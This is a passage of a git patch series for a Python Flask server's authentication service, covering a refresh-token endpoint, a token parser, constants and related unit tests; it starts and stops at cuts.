token_generator.generate_token(payload) + token_validator.validate_token(token_1) + + token_2 = token_generator.generate_token(payload) + token_validator.validate_token(token_2) + + with pytest.raises(SignatureExpired): + # this is still valid according to the expiration time but since + # a new refresh token has been generated, it should be invalid + token_validator.validate_token(token_1) + + def test_validate_refresh_token__expired(freezer): token_expiration = 1 * 60 # 1 minute generation_time = "2020-01-01 00:00:00" From 2f3fe5910bf4deaa2c45795eebbfe344a859e350 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 11:35:25 +0300 Subject: [PATCH 1003/1338] Island: Don't expose unnecessary resources in security_service --- .../flask_resources/__init__.py | 7 ------- .../authentication_service/conftest.py | 21 ++----------------- 2 files changed, 2 insertions(+), 26 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index f9d41e75216..89119d59f1d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -1,8 +1 @@ -from .register import Register -from .registration_status import RegistrationStatus -from .login import Login -from .logout import Logout from .register_resources import register_resources -from .agent_otp import AgentOTP -from .agent_otp_login import AgentOTPLogin -from .token import Token diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index e189b9e9e43..b691f4280f2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -3,18 +3,10 @@ import pytest from tests.unit_tests.monkey_island.conftest import init_mock_security_app +from monkey_island.cc.services.authentication_service import register_resources from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) -from monkey_island.cc.services.authentication_service.flask_resources import ( - AgentOTP, - AgentOTPLogin, - Login, - Logout, - Register, - RegistrationStatus, - Token, -) REFRESH_TOKEN = "refresh_token" @@ -38,16 +30,7 @@ def inner(): def get_mock_auth_app(authentication_facade: AuthenticationFacade): app, api = init_mock_security_app() - api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) - api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) - api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) - api.add_resource( - RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) - ) - api.add_resource(AgentOTP, *AgentOTP.urls) - api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) - api.add_resource(Token, *Token.urls, resource_class_args=(authentication_facade,)) - + register_resources(api, authentication_facade) return app From 47be4c4b46d2008cbcd5aa362ec2ceb566b3ee84 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 11:36:42 +0300 Subject: [PATCH 1004/1338] Island: Register Token resource that allows token refresh --- .../flask_resources/register_resources.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index 8902ea7fe8f..c9b41613ee9 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -7,6 +7,7 @@ from .logout import Logout from .register import Register from .registration_status import RegistrationStatus +from .token import Token def register_resources(api: flask_restful.Api, authentication_facade: AuthenticationFacade): @@ -18,3 +19,4 @@ def register_resources(api: flask_restful.Api, authentication_facade: Authentica api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) api.add_resource(AgentOTP, *AgentOTP.urls) api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) + api.add_resource(Token, *Token.urls, resource_class_args=(authentication_facade,)) From 2e259f45b2b2d60148b2fc0c11c7f0b0311b7a54 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 11:44:50 +0300 Subject: [PATCH 1005/1338] UT: Remove unit test that asserts old refresh token invalidity We don't revoke old refresh tokens because they expire automatically --- .../token/test_token_validator.py | 20 ------------------- 1 file changed, 20 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py index bc97a8c24f5..1b3827ed896 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py @@ -24,26 +24,6 @@ def test_validate_token__valid(freezer): token_validator.validate_token(token) -def test_validate_token__old_token_invalid_on_new_token_generated(): - token_expiration_timedelta = 1 * 60 # 1 minute - payload = "fake_user_id" - - app, _ = build_app() - token_generator = TokenGenerator(app.security) - token_validator = TokenValidator(app.security, token_expiration_timedelta) - - token_1 = token_generator.generate_token(payload) - token_validator.validate_token(token_1) - - token_2 = token_generator.generate_token(payload) - token_validator.validate_token(token_2) - - with pytest.raises(SignatureExpired): - # this is still valid according to the expiration time but since - # a new refresh token has been generated, it should be invalid - token_validator.validate_token(token_1) - - def test_validate_refresh_token__expired(freezer): token_expiration = 1 * 60 # 1 minute generation_time = "2020-01-01 00:00:00" From 6b9c26bffa88200a0dfdeb8409d156637e12535b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 12:15:35 +0300 Subject: [PATCH 1006/1338] Island: Extract access token key name into a const The key should be the same in requests and responses, it's best to have a constant for it --- .../authentication_service/flask_resources/token.py | 7 +++++-- .../authentication_service/flask_resources/utils.py | 6 +++--- .../authentication_service/flask_resources/test_token.py | 5 +++-- 3 files changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py index 36d8d92029d..de3446a0c23 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py @@ -6,7 +6,7 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade -from .utils import REFRESH_TOKEN_KEY_NAME +from .utils import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME logger = logging.getLogger(__name__) @@ -35,7 +35,10 @@ def post(self): ) response = { "response": { - "user": {"access_token": access_token, REFRESH_TOKEN_KEY_NAME: refresh_token} + "user": { + ACCESS_TOKEN_KEY_NAME: access_token, + REFRESH_TOKEN_KEY_NAME: refresh_token, + } } } return response, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index 43acecf600e..d42425956a7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -8,6 +8,9 @@ from monkey_island.cc.services.authentication_service.token import Token +REFRESH_TOKEN_KEY_NAME = "refresh_token" +ACCESS_TOKEN_KEY_NAME = "authentication_token" + def get_username_password_from_request(_request: Request) -> Tuple[str, str]: """ @@ -40,9 +43,6 @@ def decorated_function(*args, **kwargs): return decorated_function -REFRESH_TOKEN_KEY_NAME = "refresh_token" - - def add_refresh_token_to_response(response: Response, refresh_token: Token) -> Response: """ Returns a copy of the response object with the refresh token added to it diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py index f4a3483c0f9..fcdf8b8bd32 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py @@ -7,6 +7,7 @@ ) from monkey_island.cc.services.authentication_service.flask_resources.token import Token from monkey_island.cc.services.authentication_service.flask_resources.utils import ( + ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME, ) @@ -39,8 +40,8 @@ def test_token__provides_refreshed_token( response = request_token(REQUEST) assert response.status_code == HTTPStatus.OK - assert response.json["response"]["user"]["refresh_token"] == NEW_REFRESH_TOKEN - assert response.json["response"]["user"]["access_token"] == NEW_AUTHENTICATION_TOKEN + assert response.json["response"]["user"][REFRESH_TOKEN_KEY_NAME] == NEW_REFRESH_TOKEN + assert response.json["response"]["user"][ACCESS_TOKEN_KEY_NAME] == NEW_AUTHENTICATION_TOKEN def test_token__fails_if_refresh_token_is_invalid( From 61063d9a7f92bd0dbf0ba81378518987e776f725 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 17:00:34 +0530 Subject: [PATCH 1007/1338] Changelog: Add entry for 'POST api/token' endpoint --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7502e831388..14cbee429f6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - `GET /api/agent-otp`. #3076 - `POST /api/agent-otp-login` endpoint. #3076 - A smarter brute-forcing strategy for SMB exploiter. #3039 +- `POST api/token` endpoint. #3181 ### Changed - Migrated the hard-coded SMB exploiter to a plugin. #2952 From 0654d0ca20376037085647a9cb285d75c1320b23 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 17:08:18 +0530 Subject: [PATCH 1008/1338] UT: Rename test in test_authentication_service.py Co-authored-by: VakarisZ <36815064+VakarisZ@users.noreply.github.com> --- .../authentication_service/test_authentication_service.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index a36d52e4657..9ea4338773d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -143,7 +143,7 @@ def test_generate_new_token_pair__fails_if_user_does_not_exist( authentication_facade.generate_new_token_pair(refresh_token) -def test_generate_new_token_pair__fails_if_refresh_token_expired( +def test_generate_new_token_pair__fails_if_token_invalid( mock_token_validator: TokenValidator, authentication_facade: AuthenticationFacade, ): From c2690892b6d2319b5abb089370e226da0cc33ab2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 15:00:32 +0300 Subject: [PATCH 1009/1338] Island: Improve AuthenticationFacade.generate_new_token_pair Extracting token owner code and explicit validation better conveys the logic --- .../authentication_service/authentication_facade.py | 13 ++++++++++--- .../test_authentication_service.py | 7 ++++--- 2 files changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index f728c9fb7eb..c09fa17da89 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -52,12 +52,19 @@ def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: :raise Exception: If the refresh token is invalid :return: Tuple of the new access token and refresh token """ - user_uniquifier = self._refresh_token_validator.get_token_payload(refresh_token) - user = User.objects.get(fs_uniquifier=user_uniquifier) + user = self._get_refresh_token_owner(refresh_token) new_access_token = user.get_auth_token() - new_refresh_token = self._token_generator.generate_token(user_uniquifier) + new_refresh_token = self._token_generator.generate_token(user.fs_uniquifier) return new_access_token, new_refresh_token + def _get_refresh_token_owner(self, refresh_token: Token) -> User: + self._refresh_token_validator.validate_token(refresh_token) + user_uniquifier = self._refresh_token_validator.get_token_payload(refresh_token) + user = self._datastore.find_user(fs_uniquifier=user_uniquifier) + if not user: + raise Exception("Invalid refresh token") + return user + def generate_refresh_token(self, user: User) -> Token: """ Generates a refresh token for a specific user diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 9ea4338773d..b192ddb95fb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -136,11 +136,12 @@ def test_generate_new_token_pair__generates_tokens( def test_generate_new_token_pair__fails_if_user_does_not_exist( authentication_facade: AuthenticationFacade, ): - user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") - refresh_token = authentication_facade.generate_refresh_token(user) + nonexistent_user = User(username="_", password="_", fs_uniquifier="bogus") + bogus_token = authentication_facade.generate_refresh_token(nonexistent_user) + authentication_facade._datastore.find_user = MagicMock(return_value=None) with pytest.raises(Exception): - authentication_facade.generate_new_token_pair(refresh_token) + authentication_facade.generate_new_token_pair(bogus_token) def test_generate_new_token_pair__fails_if_token_invalid( From 59d5c0707c441adf0f471b481a725a2d87998e3a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 15:06:38 +0300 Subject: [PATCH 1010/1338] Island: Fix "needs_registration" method and decouple from mongo This method checks for island api user registration, not registered agents. Also, authentication_facade.py shouldn't be coupled to mongodb syntax --- .../authentication_service/authentication_facade.py | 6 +++++- .../test_authentication_service.py | 12 ------------ 2 files changed, 5 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index c09fa17da89..1e29ac808d1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -7,6 +7,7 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator +from . import AccountRole from .token import Token, TokenValidator from .user import User @@ -36,7 +37,10 @@ def needs_registration(self) -> bool: :return: Whether registration is required on the Island """ - return not User.objects.first() + island_api_user_role = self._datastore.find_or_create_role( + name=AccountRole.ISLAND_INTERFACE.name + ) + return not self._datastore.find_user(roles=[island_api_user_role]) def revoke_all_tokens_for_user(self, user: User): """ diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index b192ddb95fb..8fa11b126a5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -72,18 +72,6 @@ def authentication_facade( ) -def test_needs_registration__true(authentication_facade: AuthenticationFacade): - assert authentication_facade.needs_registration() - - -def test_needs_registration__false( - monkeypatch, - authentication_facade: AuthenticationFacade, -): - User(username=USERNAME, password=PASSWORD).save() - assert not authentication_facade.needs_registration() - - def test_handle_successful_registration( mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, From f75c79c7c3b97c0fc815398ed26aa7f43a50a84a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 15:26:20 +0300 Subject: [PATCH 1011/1338] Island: Fixup documentation of the new refresh token endpoint --- CHANGELOG.md | 2 +- .../services/authentication_service/flask_resources/token.py | 5 ++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 14cbee429f6..068c0b81488 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,7 +12,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - `GET /api/agent-otp`. #3076 - `POST /api/agent-otp-login` endpoint. #3076 - A smarter brute-forcing strategy for SMB exploiter. #3039 -- `POST api/token` endpoint. #3181 +- `POST api/token` endpoint that allows refreshing of the access token. #3181 ### Changed - Migrated the hard-coded SMB exploiter to a plugin. #2952 diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py index de3446a0c23..24f41140ee8 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py @@ -13,7 +13,7 @@ class Token(AbstractResource): """ - A resource for user authentication + A resource for refreshing tokens """ urls = ["/api/token"] @@ -25,8 +25,7 @@ def post(self): """ Accepts a refresh token and returns a new token pair - :return: Access token in the response body - :raises IncorrectCredentialsError: If credentials are invalid + :return: Response with new token pair or an invalid request response """ try: old_refresh_token = request.json[REFRESH_TOKEN_KEY_NAME] From 976b28883ac5fbff5467822b5c3d96efed6c06a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 12:26:18 -0400 Subject: [PATCH 1012/1338] UT: Add registration tests back in These tests were removed in the previous commit, but test security-critical portions of the authentication system. They MUST exist and they MUST pass. --- .../test_authentication_service.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 8fa11b126a5..b192ddb95fb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -72,6 +72,18 @@ def authentication_facade( ) +def test_needs_registration__true(authentication_facade: AuthenticationFacade): + assert authentication_facade.needs_registration() + + +def test_needs_registration__false( + monkeypatch, + authentication_facade: AuthenticationFacade, +): + User(username=USERNAME, password=PASSWORD).save() + assert not authentication_facade.needs_registration() + + def test_handle_successful_registration( mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, From 323c64ad51287b35d7c858bf5408cb5f7c4be820 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 11:55:51 +0530 Subject: [PATCH 1013/1338] UT: Improve test for AuthenticationService.generate_new_token_pair() --- .../test_authentication_service.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index b192ddb95fb..4dd5c3dde40 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -121,16 +121,21 @@ def test_generate_new_token_pair__generates_tokens( mock_token_validator: TokenValidator, authentication_facade: AuthenticationFacade, ): - refresh_token = "original_token" user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") user.save() mock_token_generator.generate_token.return_value = "new_token" mock_token_validator.get_token_payload.return_value = "a" - access_token, new_refresh_token = authentication_facade.generate_new_token_pair(refresh_token) - assert new_refresh_token != refresh_token + access_token = user.get_auth_token() + refresh_token = "original_refresh_token" + new_access_token, new_refresh_token = authentication_facade.generate_new_token_pair( + refresh_token + ) + assert access_token != refresh_token - assert access_token != new_refresh_token + assert new_access_token != new_refresh_token + assert new_access_token != access_token + assert new_refresh_token != refresh_token def test_generate_new_token_pair__fails_if_user_does_not_exist( From 57a1cab657eb5a8073bfe13ff350471c01ed8844 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 12:07:49 +0530 Subject: [PATCH 1014/1338] Island: Rename resource Token to RefreshAuthenticationToken --- .../{token.py => refresh_authentication_token.py} | 4 ++-- .../flask_resources/register_resources.py | 8 ++++++-- 2 files changed, 8 insertions(+), 4 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/flask_resources/{token.py => refresh_authentication_token.py} (92%) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py similarity index 92% rename from monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py index 24f41140ee8..e35cbed2720 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py @@ -11,12 +11,12 @@ logger = logging.getLogger(__name__) -class Token(AbstractResource): +class RefreshAuthenticationToken(AbstractResource): """ A resource for refreshing tokens """ - urls = ["/api/token"] + urls = ["/api/refresh-authentication-token"] def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index c9b41613ee9..827b02f7882 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -5,9 +5,9 @@ from .agent_otp_login import AgentOTPLogin from .login import Login from .logout import Logout +from .refresh_authentication_token import RefreshAuthenticationToken from .register import Register from .registration_status import RegistrationStatus -from .token import Token def register_resources(api: flask_restful.Api, authentication_facade: AuthenticationFacade): @@ -19,4 +19,8 @@ def register_resources(api: flask_restful.Api, authentication_facade: Authentica api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) api.add_resource(AgentOTP, *AgentOTP.urls) api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) - api.add_resource(Token, *Token.urls, resource_class_args=(authentication_facade,)) + api.add_resource( + RefreshAuthenticationToken, + *RefreshAuthenticationToken.urls, + resource_class_args=(authentication_facade,), + ) From f7e8d91adaf495dc6da3f00c4c8c00e57f121a2d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 12:17:12 +0530 Subject: [PATCH 1015/1338] UT: Rename test_token.py -> test_refresh_authentication_token.py --- .../{test_token.py => test_refresh_authentication_token.py} | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/{test_token.py => test_refresh_authentication_token.py} (92%) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py similarity index 92% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py index fcdf8b8bd32..d0297ba5c2b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py @@ -5,7 +5,9 @@ from monkey_island.cc.services.authentication_service.authentication_facade import ( AuthenticationFacade, ) -from monkey_island.cc.services.authentication_service.flask_resources.token import Token +from monkey_island.cc.services.authentication_service.flask_resources.refresh_authentication_token import ( # noqa: E501 + RefreshAuthenticationToken, +) from monkey_island.cc.services.authentication_service.flask_resources.utils import ( ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME, @@ -21,7 +23,7 @@ @pytest.fixture def request_token(flask_client): - url = Token.urls[0] + url = RefreshAuthenticationToken.urls[0] def inner(request_body): return flask_client.post(url, json=request_body, follow_redirects=True) From 45c64ddd7af52857554fb9f9faea3fc73af11f4a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 12:28:51 +0530 Subject: [PATCH 1016/1338] UT: Fix AuthenticationService.needs_registration() tests --- .../authentication_service/test_authentication_service.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 4dd5c3dde40..acf83d2d65e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -73,6 +73,7 @@ def authentication_facade( def test_needs_registration__true(authentication_facade: AuthenticationFacade): + authentication_facade._datastore.find_user.return_value = False assert authentication_facade.needs_registration() @@ -80,7 +81,7 @@ def test_needs_registration__false( monkeypatch, authentication_facade: AuthenticationFacade, ): - User(username=USERNAME, password=PASSWORD).save() + authentication_facade._datastore.find_user.return_value = True assert not authentication_facade.needs_registration() From 52fc4d6d2923a27c4f755e8c00babc880c41cbd3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 3 Apr 2023 13:01:29 +0530 Subject: [PATCH 1017/1338] Island: Add TokenParser --- monkey/monkey_island/cc/app.py | 10 +++++- .../authentication_facade.py | 6 ++-- .../authentication_service/token/__init__.py | 1 + .../token/token_parser.py | 34 +++++++++++++++++++ .../token/token_validator.py | 7 ---- 5 files changed, 48 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/token/token_parser.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 2f68f7aae75..1a388ea3868 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,7 +44,11 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) -from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenValidator +from monkey_island.cc.services.authentication_service.token import ( + TokenGenerator, + TokenParser, + TokenValidator, +) from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -162,16 +166,20 @@ def init_app( def _build_authentication_facade(container: DIContainer, security: Security): repository_encryptor = container.resolve(ILockableEncryptor) island_event_queue = container.resolve(IIslandEventQueue) + token_generator = TokenGenerator(security) refresh_token_expiration = ( security.app.config["SECURITY_TOKEN_MAX_AGE"] + security.app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] ) refresh_token_validator = TokenValidator(security, refresh_token_expiration) + token_parser = TokenParser(security, refresh_token_expiration) + return AuthenticationFacade( repository_encryptor, island_event_queue, security.datastore, token_generator, refresh_token_validator, + token_parser, ) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 1e29ac808d1..89f6035c9bb 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -8,7 +8,7 @@ from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator from . import AccountRole -from .token import Token, TokenValidator +from .token import Token, TokenParser, TokenValidator from .user import User @@ -24,12 +24,14 @@ def __init__( user_datastore: UserDatastore, token_generator: TokenGenerator, refresh_token_validator: TokenValidator, + token_parser: TokenParser, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue self._datastore = user_datastore self._token_generator = token_generator self._refresh_token_validator = refresh_token_validator + self._token_parser = token_parser def needs_registration(self) -> bool: """ @@ -63,7 +65,7 @@ def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: def _get_refresh_token_owner(self, refresh_token: Token) -> User: self._refresh_token_validator.validate_token(refresh_token) - user_uniquifier = self._refresh_token_validator.get_token_payload(refresh_token) + user_uniquifier = self._token_parser.parse(refresh_token).payload user = self._datastore.find_user(fs_uniquifier=user_uniquifier) if not user: raise Exception("Invalid refresh token") diff --git a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py index 8643ee049ac..fd2770cae7b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py @@ -1,3 +1,4 @@ from .token_generator import TokenGenerator from .token_validator import TokenValidator +from .token_parser import TokenParser from .types import Token diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py new file mode 100644 index 00000000000..6f4f5f87d39 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py @@ -0,0 +1,34 @@ +from dataclasses import dataclass +from typing import Any, Dict +from flask_security import Security + +from .types import Token + +@dataclass +class ParsedToken: + token: Token + expiration_time: int + payload: str + + +class TokenValidationError(Exception): + """ Raise when an invalid token is encountered """ + + +class TokenParser: + def __init__(self, security: Security, token_expiration: int): + self._token_serializer = security.remember_token_serializer + self._token_expiration = token_expiration # in seconds + + def parse(self, token: Token) -> ParsedToken: + """ + Parses a token and returns a data structure with its components + + :param token: The token to parse + :return: The parsed token + :raises TokenValidationError: If the token could not be parsed + """ + try: + return ParsedToken(token=token, expiration_time=self._token_expiration, payload=str(self._token_serializer.loads(token, max_age=self._token_expiration))) + except Exception: + raise TokenValidationError("Token is invalid, could not parse") diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py index ce713ff8396..86fa1944402 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py @@ -16,10 +16,3 @@ def validate_token(self, token: Token): :raises SignatureExpired: If the token has expired """ self._token_serializer.loads(token, max_age=self._token_expiration) - - def get_token_payload(self, token: Token) -> str: - """ - Returns the payload of a token - :param token: Token to get the payload of - """ - return str(self._token_serializer.loads(token, max_age=self._token_expiration)) From 74b380d4f544661ef7bac9fe5a807a5d2594d07f Mon Sep 